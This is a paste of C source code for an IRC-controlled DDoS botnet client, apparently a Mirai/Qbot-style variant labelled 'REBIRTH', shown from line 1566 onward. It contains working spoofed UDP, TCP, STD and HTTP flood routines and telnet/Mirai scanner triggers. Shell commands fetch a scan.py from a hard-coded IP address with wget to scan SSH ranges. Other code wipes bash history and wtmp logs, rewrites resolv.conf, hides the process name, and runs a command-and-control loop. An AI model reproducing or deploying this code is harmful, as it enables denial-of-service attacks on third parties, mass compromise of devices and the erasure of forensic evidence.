  1566.     iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1567.     time_t start = time(NULL);
  1568.     struct sockaddr_in sin;
  1569.     struct hostent *hp;
  1570.     hp = gethostbyname(ip);
  1571.     bzero((char*) &sin,sizeof(sin));
  1572.     bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1573.     sin.sin_family = hp->h_addrtype;
  1574.     sin.sin_port = port;
  1575.     unsigned int a = 0;
  1576.     while(1){
  1577.         if (a >= 50) {
  1578.             send(iSTD_Sock, "std", 69, 0);
  1579.             connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1580.             if (time(NULL) >= start + secs) {
  1581.                 close(iSTD_Sock);
  1582.                 _exit(0);
  1583.             }
  1584.             a = 0;
  1585.         }
  1586.         a++;
  1587.     }
  1588. }
  1589. void SendUDP(unsigned char *target, int port, int timeEnd, int packetsize, int pollinterval, int spoofit) {
  1590.         struct sockaddr_in dest_addr;
  1591.         dest_addr.sin_family = AF_INET;
  1592.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1593.         else dest_addr.sin_port = htons(port);
  1594.         if(getHost(target, &dest_addr.sin_addr)) return;
  1595.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1596.         register unsigned int pollRegister;
  1597.         pollRegister = pollinterval;   
  1598.                 int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1599.                 if(!sockfd) {
  1600.                         return;
  1601.                 }
  1602.                 int tmp = 1;
  1603.                 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  1604.                         return;
  1605.                 }
  1606.                 int counter = 50;
  1607.                 while(counter--) {
  1608.                         srand(time(NULL) ^ rand_cmwc());
  1609.                         init_rand(rand());
  1610.                 }
  1611.                 in_addr_t netmask;
  1612.                 netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1613.                 unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1614.                 struct iphdr *iph = (struct iphdr *)packet;
  1615.                 struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1616.                 makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1617.                 udph->len = htons(sizeof(struct udphdr) + packetsize);
  1618.                 udph->source = rand_cmwc();
  1619.                 udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1620.                 udph->check = 0;
  1621.                 makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1622.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1623.                 int end = time(NULL) + timeEnd;
  1624.                 register unsigned int i = 0;
  1625.                 while(1) {
  1626.                         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1627.                         udph->source = rand_cmwc();
  1628.                         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1629.                         iph->id = rand_cmwc();
  1630.                         iph->saddr = htonl( getRandomIP(netmask) );
  1631.                         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1632.                         if(i == pollRegister) {
  1633.                                 if(time(NULL) > end) break;
  1634.                                 i = 0;
  1635.                                 continue;
  1636.                         }
  1637.                         i++;
  1638.                 }
  1639.         }
  1640. void SendTCP(unsigned char *target, int port, int timeEnd, unsigned char *flags, int packetsize, int pollinterval, int spoofit) {
  1641.         register unsigned int pollRegister;
  1642.         pollRegister = pollinterval;
  1643.         struct sockaddr_in dest_addr;
  1644.         dest_addr.sin_family = AF_INET;
  1645.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1646.         else dest_addr.sin_port = htons(port);
  1647.         if(getHost(target, &dest_addr.sin_addr)) return;
  1648.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1649.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1650.         if(!sockfd) { return; }
  1651.         int tmp = 1;
  1652.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) { return; }
  1653.         in_addr_t netmask;
  1654.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1655.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1656.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1657.         struct iphdr *iph = (struct iphdr *)packet;
  1658.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1659.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1660.         tcph->source = rand_cmwc();
  1661.         tcph->seq = rand_cmwc();
  1662.         tcph->ack_seq = 0;
  1663.         tcph->doff = 5;
  1664.         if(!strcmp(flags, "all")) {
  1665.                 tcph->syn = 1;
  1666.                 tcph->rst = 1;
  1667.                 tcph->fin = 1;
  1668.                 tcph->ack = 1;
  1669.                 tcph->psh = 1;
  1670.         } else {
  1671.                 unsigned char *pch = strtok(flags, ",");
  1672.                 while(pch) {
  1673.                         if(!strcmp(pch,         "syn")) { tcph->syn = 1;
  1674.                         } else if(!strcmp(pch,  "rst")) { tcph->rst = 1;
  1675.                         } else if(!strcmp(pch,  "fin")) { tcph->fin = 1;
  1676.                         } else if(!strcmp(pch,  "ack")) { tcph->ack = 1;
  1677.                         } else if(!strcmp(pch,  "psh")) { tcph->psh = 1;
  1678.                         } else {
  1679.                         }
  1680.                         pch = strtok(NULL, ",");
  1681.                 }
  1682.         }
  1683.         tcph->window = rand_cmwc();
  1684.         tcph->check = 0;
  1685.         tcph->urg_ptr = 0;
  1686.         tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1687.         tcph->check = tcpcsum(iph, tcph);
  1688.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1689.         int end = time(NULL) + timeEnd;
  1690.         register unsigned int i = 0;
  1691.         while(1) {
  1692.                 sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1693.                 iph->saddr = htonl( getRandomIP(netmask) );
  1694.                 iph->id = rand_cmwc();
  1695.                 tcph->seq = rand_cmwc();
  1696.                 tcph->source = rand_cmwc();
  1697.                 tcph->check = 0;
  1698.                 tcph->check = tcpcsum(iph, tcph);
  1699.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1700.                 if(i == pollRegister) {
  1701.                         if(time(NULL) > end) break;
  1702.                         i = 0;
  1703.                         continue;
  1704.                 }
  1705.                 i++;
  1706.         }
  1707. }
  1708. int socket_connect(char *host, in_port_t port) {
  1709.     struct hostent *hp;
  1710.     struct sockaddr_in addr;
  1711.     int on = 1, sock;    
  1712.     if ((hp = gethostbyname(host)) == NULL) return 0;
  1713.     bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1714.     addr.sin_port = htons(port);
  1715.     addr.sin_family = AF_INET;
  1716.     sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1717.     setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1718.     if (sock == -1) return 0;
  1719.     if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
  1720.     return sock;
  1721. }
  1722. void SendHTTP(char *method, char *host, in_port_t port, char *path, int timeEnd, int power) {
  1723.     int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
  1724.     char request[512], buffer[1];
  1725.     for (i = 0; i < power; i++) {
  1726.         sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, useragents[(rand() % 36)]);
  1727.         if (fork()) {
  1728.             while (end > time(NULL)) {
  1729.                 socket = socket_connect(host, port);
  1730.                 if (socket != 0) {
  1731.                     write(socket, request, strlen(request));
  1732.                     read(socket, buffer, 1);
  1733.                     close(socket);
  1734.                 }
  1735.             }
  1736.             exit(0);
  1737.         }
  1738.     }
  1739. }
  1740.  
  1741. void ClearHistory()
  1742. {
  1743.     system("history -c;history -w");
  1744.     system("cd /;rm -rf .bash_history");
  1745. }
  1746.  
  1747. void processCmd(int argc, unsigned char *argv[]) {
  1748.         if(!strcmp(argv[0], "PING"))
  1749.         {
  1750.                 return;
  1751.         }
  1752.         if(!strcmp(argv[0], "TELNET"))
  1753.         {
  1754.             if(!strcmp(argv[1], "ON"))
  1755.             {
  1756.                 uint32_t parent;
  1757.                 parent = fork();        
  1758.                 int ii = 0;
  1759.                 int forks = sysconf( _SC_NPROCESSORS_ONLN );
  1760.                 int fds = 999999;
  1761.                 if(forks == 1) fds = 500;
  1762.                 if(forks >= 2) fds = 1000;
  1763.                 if (parent > 0)
  1764.                 {
  1765.                     scanPid = parent;
  1766.                     return;
  1767.                 }
  1768.                 else if(parent == -1) return;
  1769.  
  1770.                 for (ii = 0; ii < forks; ii++)
  1771.                 {
  1772.                     srand((time(NULL) ^ getpid()) + getppid());
  1773.                     init_rand(time(NULL) ^ getpid());
  1774.                     TelnetScanner(100, fds);
  1775.                     _exit(0);
  1776.                 }
  1777.             }
  1778.             if(!strcmp(argv[1], "OFF"))
  1779.             {
  1780.                 if(scanPid == 0) return;
  1781.                 kill(scanPid, 9);
  1782.                 scanPid = 0;
  1783.             }
  1784.             if(!strcmp(argv[1], "FASTLOAD"))
  1785.             {
  1786.                 if(argc < 3)
  1787.                 {
  1788.                     sockprintf(mainCommSock, "SCAN <threads> <usec>");
  1789.                     return;
  1790.                 } else {
  1791.                             int threads = atoi(argv[1]);
  1792.                             int usec = atoi(argv[2]);
  1793.                             if(!listFork())
  1794.                             {
  1795.                                 sockprintf(mainCommSock, "Starting scanner!!");
  1796.                                 TelnetScanner(usec, threads);
  1797.                                 _exit(0);
  1798.                             }
  1799.                             return;
  1800.                        }
  1801.             }
  1802.         }
  1803.         if(!strcmp(argv[0], "MIRAI"))
  1804.         {
  1805.             if(!strcmp(argv[1], "ON"))
  1806.             {
  1807.                
  1808.                 uint32_t parent;
  1809.                 parent = fork();        
  1810.                 int ii = 0;
  1811.                 int forks = sysconf( _SC_NPROCESSORS_ONLN );
  1812.                 int fds = 999999;
  1813.                 if(forks == 1) fds = 500;
  1814.                 if(forks >= 2) fds = 1000;
  1815.                 if (parent > 0)
  1816.                 {
  1817.                     scanPid = parent;
  1818.                     return;
  1819.                 }
  1820.                 else if(parent == -1) return;
  1821.    
  1822.                 for (ii = 0; ii < forks; ii++)
  1823.                 {
  1824.                     srand((time(NULL) ^ getpid()) + getppid());
  1825.                     init_rand(time(NULL) ^ getpid());
  1826.                     MiraiScanner(100, fds);
  1827.                     _exit(0);
  1828.                 }
  1829.             }
  1830.             if(!strcmp(argv[1], "OFF"))
  1831.             {
  1832.                 if(scanPid == 0) return;
  1833.  
  1834.                 kill(scanPid, 9);
  1835.                 scanPid = 0;
  1836.             }
  1837.             if(!strcmp(argv[1], "FASTLOAD"))
  1838.             {
  1839.                             {
  1840.                 if(argc < 3)
  1841.                 {
  1842.                     sockprintf(mainCommSock, "SCAN <threads> <usec>");
  1843.                     return;
  1844.                 } else {
  1845.                             int threads = atoi(argv[1]);
  1846.                             int usec = atoi(argv[2]);
  1847.                             if(!listFork())
  1848.                             {
  1849.                                 sockprintf(mainCommSock, "Starting scanner!!");
  1850.                                 MiraiScanner(usec, threads);
  1851.                                 _exit(0);
  1852.                             }
  1853.                             return;
  1854.                        }
  1855.             }
  1856.             }
  1857.            
  1858.         }
  1859.        
  1860.         if(!strcmp(argv[0], "PYTHON")) //Infect a Scanner server to the net, before executing this.
  1861.         {
  1862.             if(!strcmp(argv[1], "INSTALL"))
  1863.             {
  1864.                 system("sudo yum install python-paramiko -y;sudo apt-get install python-paramiko -y;sudo mkdir /.tmp/;cd /.tmp;wget 50.115.166.103/scan.py");
  1865.                 ClearHistory();
  1866.                 sockprintf(mainCommSock, "Installing Python Scanner");
  1867.             }
  1868.             if(!strcmp(argv[1], "UPDATE"))
  1869.             {
  1870.                 system("cd /.tmp;rm -rf *py;wget 50.115.166.103/scan.py");
  1871.                 ClearHistory();
  1872.                 sockprintf(mainCommSock, "Updating Python Scanner");
  1873.             }
  1874.             if(!strcmp(argv[1], "OFF"))
  1875.             {
  1876.                 system("killall -9 python;pkill python");
  1877.                 ClearHistory();
  1878.                 sockprintf(mainCommSock, "Killing Python Scanning Proccess");
  1879.             }
  1880.             if(!strcmp(argv[1], "1"))
  1881.             {
  1882.                 system("cd /.tmp;python scan.py 376 B 119.93 lol");
  1883.                 ClearHistory();
  1884.                 sockprintf(mainCommSock, "Scanning 119.93.x.x on Port 22");
  1885.             }
  1886.             if(!strcmp(argv[1], "2"))
  1887.             {
  1888.                 system("cd /.tmp;python scan.py 376 B 91.98 2");
  1889.                 ClearHistory();
  1890.                 sockprintf(mainCommSock, "Scaning 91.98.x.x on Port 22");
  1891.             }
  1892.             if(!strcmp(argv[1], "3"))
  1893.             {
  1894.                 system("cd /.tmp;python scan.py 376 B 118.173 2");
  1895.                 ClearHistory();
  1896.                 sockprintf(mainCommSock, "Scanning 118.173.x.x on Port 22");
  1897.             }
  1898.             if(!strcmp(argv[1], "4"))
  1899.             {
  1900.                 system("cd /.tmp;python scan.py 376 B 91.99 2");
  1901.                 ClearHistory();
  1902.                 sockprintf(mainCommSock, "Scanning 91.99.x.x on Port 22");
  1903.             }
  1904.             if(!strcmp(argv[1], "5"))
  1905.             {
  1906.                 system("cd /.tmp;python scan.py 376 B 92.99 2");
  1907.                 ClearHistory();
  1908.                 sockprintf(mainCommSock, "Scanning 92.99.x.x on Port 22");
  1909.             }
  1910.             if(!strcmp(argv[1], "LOAD"))
  1911.             {
  1912.                 system("cd /.tmp;killall -9 python;python scan.py 376 LOAD 88 2");
  1913.                 ClearHistory();
  1914.                 sockprintf(mainCommSock, "Loading Random Ranges on Port 22");
  1915.             }
  1916.         }
  1917.         if (!strcmp(argv[0], "HTTP"))
  1918.         {
  1919.             // !* HTTP METHOD TARGET PORT PATH TIME POWER
  1920.             // !* HTTP POST/GET/HEAD hackforums.net 80 / 10 100
  1921.             if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;
  1922.             if (listFork()) return;
  1923.             SendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
  1924.             exit(0);
  1925.         }
  1926.         if(!strcmp(argv[0], "UDP"))
  1927.         {
  1928.             // !* UDP TARGET PORT TIME PACKETSIZE POLLINTERVAL
  1929.             if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 1024 || (argc == 6 && atoi(argv[5]) < 1))
  1930.             {
  1931.                 return;
  1932.             }
  1933.                 unsigned char *ip = argv[1];
  1934.                 int port = atoi(argv[2]);
  1935.                 int time = atoi(argv[3]);
  1936.                 int packetsize = atoi(argv[4]);
  1937.                 int pollinterval = (argc == 6 ? atoi(argv[5]) : 10);
  1938.                 int spoofed = 32;
  1939.                 if(strstr(ip, ",") != NULL)
  1940.                 {
  1941.                     unsigned char *hi = strtok(ip, ",");
  1942.                     while(hi != NULL)
  1943.                     {
  1944.                         if(!listFork())
  1945.                         {
  1946.                             SendUDP(hi, port, time, packetsize, pollinterval, spoofed);
  1947.                             _exit(0);
  1948.                         }
  1949.                         hi = strtok(NULL, ",");
  1950.                     }
  1951.                 } else {
  1952.                             if (listFork())
  1953.                             {
  1954.                                 return;
  1955.                             }
  1956.                             SendUDP(ip, port, time, packetsize, pollinterval, spoofed);
  1957.                             _exit(0);
  1958.                        }   
  1959.         }
  1960.         if(!strcmp(argv[0], "TCP"))
  1961.         {
  1962.                 //!* TCP TARGET PORT TIME FLAGS PACKETSIZE POLLINTERVAL
  1963.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || (argc > 5 && atoi(argv[5]) < 0) || (argc == 7 && atoi(argv[6]) < 1))
  1964.                 {
  1965.                         return;
  1966.                 }
  1967.                 unsigned char *ip = argv[1];
  1968.                 int port = atoi(argv[2]);
  1969.                 int time = atoi(argv[3]);
  1970.                 unsigned char *flags = argv[4];
  1971.                 int pollinterval = argc == 7 ? atoi(argv[6]) : 10;
  1972.                 int packetsize = argc > 5 ? atoi(argv[5]) : 0;
  1973.                 int spoofed = 32;
  1974.                 if(strstr(ip, ",") != NULL) {
  1975.                         unsigned char *hi = strtok(ip, ",");
  1976.                         while(hi != NULL) {
  1977.                                 if(!listFork()) {
  1978.                                         SendTCP(hi, port, time, flags, packetsize, pollinterval, spoofed);
  1979.                                         _exit(0);
  1980.                                 }
  1981.                                 hi = strtok(NULL, ",");
  1982.                         }
  1983.                 } else  {
  1984.                             if (listFork())
  1985.                             {
  1986.                                 return;
  1987.                             }
  1988.                             SendTCP(ip, port, time, flags, packetsize, pollinterval, spoofed);
  1989.                             _exit(0);
  1990.                         }
  1991.         }
  1992.         if(!strcmp(argv[0], "STD"))
  1993.         {
  1994.             //!* STD TARGET PORT TIME
  1995.             if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1996.             {
  1997.                 return;
  1998.             }
  1999.             unsigned char *ip = argv[1];
  2000.             int port = atoi(argv[2]);
  2001.             int time = atoi(argv[3]);
  2002.             if(strstr(ip, ",") != NULL)
  2003.             {
  2004.                 unsigned char *hi = strtok(ip, ",");
  2005.                 while(hi != NULL)
  2006.                 {
  2007.                     if(!listFork())
  2008.                     {
  2009.                         SendSTD(hi, port, time);
  2010.                         _exit(0);
  2011.                     }
  2012.                     hi = strtok(NULL, ",");
  2013.                 }
  2014.             } else {
  2015.                         if (listFork())
  2016.                         {
  2017.                             return;
  2018.                         }
  2019.                         SendSTD(ip, port, time);
  2020.                         _exit(0);
  2021.                    }
  2022.         }
  2023.         if(!strcmp(argv[0], "KILLATTK"))
  2024.         {
  2025.                 int killed = 0;
  2026.                 unsigned long i;
  2027.                 for (i = 0; i < numpids; i++)
  2028.                 {
  2029.                         if (pids[i] != 0 && pids[i] != getpid())
  2030.                         {
  2031.                                 kill(pids[i], 9);
  2032.                                 killed++;
  2033.                         }
  2034.                 }
  2035.                 if(killed > 0)
  2036.                 {
  2037.                     //
  2038.                 } else {
  2039.                             //
  2040.                        }
  2041.         }
  2042.         if(!strcmp(argv[0], "LOLNOGTFO"))
  2043.         {
  2044.                 exit(0);
  2045.         }
  2046.         if(!strcmp(argv[0], "UPDATE"))
  2047.         {
  2048.             RemoveTempDirs();
  2049.             sockprintf(mainCommSock, "[cleaning] [%s:%s]", getBuild(), getEndianness());
  2050.         }
  2051. }
  2052. int initConnection() {
  2053.     unsigned char server[512];
  2054.     memset(server, 0, 512);
  2055.     if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  2056.     if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  2057.     else currentServer++;
  2058.     strcpy(server, commServer[currentServer]);
  2059.     int port = 443;
  2060.     if(strchr(server, ':') != NULL) {
  2061.         port = atoi(strchr(server, ':') + 1);
  2062.         *((unsigned char *)(strchr(server, ':'))) = 0x0;
  2063.     }
  2064.     mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  2065.     if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  2066.     return 0;
  2067. }
  2068. void UpdateNameSrvs() {
  2069.     uint16_t fhandler = open("/etc/resolv.conf", O_WRONLY | O_TRUNC);
  2070.     if (access("/etc/resolv.conf", F_OK) != -1) {
  2071.         const char* resd = "nameserver 8.8.8.8\nnameserver 8.8.4.4\n";
  2072.         size_t resl = strlen(resd);
  2073.         write(fhandler, resd, resl);
  2074.     } else { return; }
  2075.     close(fhandler);
  2076. }
  2077. void RemoveTempDirs() {
  2078.     system("pkill -9 busybox");
  2079.     system("rm -rf /var/log/wtmp");
  2080.     system("rm -rf ~/.bash_history");
  2081.     system("history -c;history -w");
  2082. }
  2083. int getEndianness(void) {
  2084. union {
  2085. uint32_t vlu;
  2086. uint8_t data[sizeof(uint32_t)];
  2087. } nmb;
  2088. nmb.data[0] = 0x00;
  2089. nmb.data[1] = 0x01;
  2090. nmb.data[2] = 0x02;
  2091. nmb.data[3] = 0x03;
  2092. switch (nmb.vlu) {
  2093. case UINT32_C(0x00010203):
  2094. return "REBIRTH";
  2095. case UINT32_C(0x03020100):
  2096. return "REBIRTH";
  2097. case UINT32_C(0x02030001):
  2098. return "REBIRTH";
  2099. case UINT32_C(0x01000302):
  2100. return "REBIRTH";
  2101. default:
  2102. return "UNKNOWN";
  2103. }
  2104. }
  2105. int main(int argc, unsigned char *argv[]) {
  2106.         const char *lolsuckmekid = "";
  2107.         if(SERVER_LIST_SIZE <= 0) return 0;
  2108.         strncpy(argv[0],"",strlen(argv[0]));
  2109.         argv[0] = "";
  2110.         prctl(PR_SET_NAME, (unsigned long) lolsuckmekid, 0, 0, 0);
  2111.         srand(time(NULL) ^ getpid());
  2112.         init_rand(time(NULL) ^ getpid());
  2113.         pid_t pid1;
  2114.         pid_t pid2;
  2115.         int status;
  2116.         if (pid1 = fork()) {
  2117.                         waitpid(pid1, &status, 0);
  2118.                         exit(0);
  2119.         } else if (!pid1) {
  2120.                         if (pid2 = fork()) {
  2121.                                         exit(0);
  2122.                         } else if (!pid2) {
  2123.                         } else {
  2124.                         }
  2125.         } else {
  2126.         }
  2127.         chdir("/");
  2128.         setuid(0);             
  2129.         seteuid(0);
  2130.         signal(SIGPIPE, SIG_IGN);
  2131.         while(1) {
  2132.                 if(fork() == 0) {
  2133.                 if(initConnection()) { sleep(5); continue; }
  2134.                 sockprintf(mainCommSock, "[connected] [%s:%s]", getBuild(), getEndianness());
  2135.                 UpdateNameSrvs();
  2136.                 RemoveTempDirs();
  2137.                 char commBuf[4096];
  2138.                 int got = 0;
  2139.                 int i = 0;
  2140.                 while((got = recvLine(mainCommSock, commBuf, 4096)) != -1) {
  2141.                         for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2142.                                 unsigned int *newpids, on;
  2143.                                 for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2144.                                 pids[on - 1] = 0;
  2145.                                 numpids--;
  2146.                                 newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2147.                                 for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2148.                                 free(pids);
  2149.                                 pids = newpids;
  2150.                         }
  2151.                         commBuf[got] = 0x00;
  2152.                         trim(commBuf);
  2153.                         if(strstr(commBuf, "PING") == commBuf) { // PING
  2154.                                 continue;
  2155.                         }
  2156.                         if(strstr(commBuf, "DUP") == commBuf) exit(0); // DUP
  2157.                         unsigned char *message = commBuf;
  2158.                         if(*message == '!') {
  2159.                                 unsigned char *nickMask = message + 1;
  2160.                                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2161.                                 if(*nickMask == 0x00) continue;
  2162.                                 *(nickMask) = 0x00;
  2163.                                 nickMask = message + 1;
  2164.                                 message = message + strlen(nickMask) + 2;
  2165.                                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2166.                                 unsigned char *command = message;
  2167.                                 while(*message != ' ' && *message != 0x00) message++;
  2168.                                 *message = 0x00;
  2169.                                 message++;
  2170.                                 unsigned char *tmpcommand = command;
  2171.                                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2172.                                 unsigned char *params[10];
  2173.                                 int paramsCount = 1;
  2174.                                 unsigned char *pch = strtok(message, " ");
  2175.                                 params[0] = command;
  2176.                                 while(pch) {
  2177.                                         if(*pch != '\n') {
  2178.                                                 params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2179.                                                 memset(params[paramsCount], 0, strlen(pch) + 1);
  2180.                                                 strcpy(params[paramsCount], pch);
  2181.                                                 paramsCount++;
  2182.                                         }
  2183.                                         pch = strtok(NULL, " ");
  2184.                                 }
  2185.                                 processCmd(paramsCount, params);
  2186.                                 if(paramsCount > 1) {
  2187.                                         int q = 1;
  2188.                                         for(q = 1; q < paramsCount; q++) {
  2189.                                                 free(params[q]);
  2190.                                         }
  2191.                                 }
  2192.                         }
  2193.                 }
  2194.         }
  2195.         return 0;
  2196.     }
  2197. }
Advertisement
Comments
  • User was banned
Add Comment
Please, Sign In to add comment